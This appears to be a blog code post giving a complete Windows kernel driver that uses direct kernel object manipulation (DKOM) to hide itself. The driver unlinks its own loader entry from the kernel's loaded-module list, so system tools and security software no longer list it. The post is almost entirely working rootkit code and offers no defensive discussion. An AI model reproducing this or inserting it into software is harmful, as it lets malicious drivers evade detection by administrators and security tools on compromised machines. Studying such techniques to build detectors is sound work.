Hiding loaded driver with DKOM

#include <ntddk.h>

typedef struct _LDR_DATA_TABLE_ENTRY
{
     LIST_ENTRY InLoadOrderLinks;
     LIST_ENTRY InMemoryOrderLinks;
     LIST_ENTRY InInitializationOrderLinks;
     PVOID DllBase;
     PVOID EntryPoint;
     ULONG SizeOfImage;
     UNICODE_STRING FullDllName;
     UNICODE_STRING BaseDllName;
     ULONG Flags;
     USHORT LoadCount;
     USHORT TlsIndex;
     union
     {
          LIST_ENTRY HashLinks;
          struct
          {
               PVOID SectionPointer;
               ULONG CheckSum;
          };
     };
     union
     {
          ULONG TimeDateStamp;
          PVOID LoadedImports;
     };
     struct _ACTIVATION_CONTEXT * EntryPointActivationContext;
     PVOID PatchInformation;
     LIST_ENTRY ForwarderLinks;
     LIST_ENTRY ServiceTagLinks;
     LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
	PLDR_DATA_TABLE_ENTRY PrevEntry,ModuleEntry,NextEntry;

	DbgPrint("DriverSection address: %#x",pDriverObject->DriverSection);
	ModuleEntry=(PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;

	PrevEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Blink;
	NextEntry=(PLDR_DATA_TABLE_ENTRY)ModuleEntry->InLoadOrderLinks.Flink;

	PrevEntry->InLoadOrderLinks.Flink=ModuleEntry->InLoadOrderLinks.Flink;
	NextEntry->InLoadOrderLinks.Blink=ModuleEntry->InLoadOrderLinks.Blink;

	ModuleEntry->InLoadOrderLinks.Flink=(PLIST_ENTRY)ModuleEntry;
	ModuleEntry->InLoadOrderLinks.Blink=(PLIST_ENTRY)ModuleEntry;

	DbgPrint("Hidden driver loaded at address %#x",ModuleEntry->DllBase);
	return STATUS_SUCCESS;
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值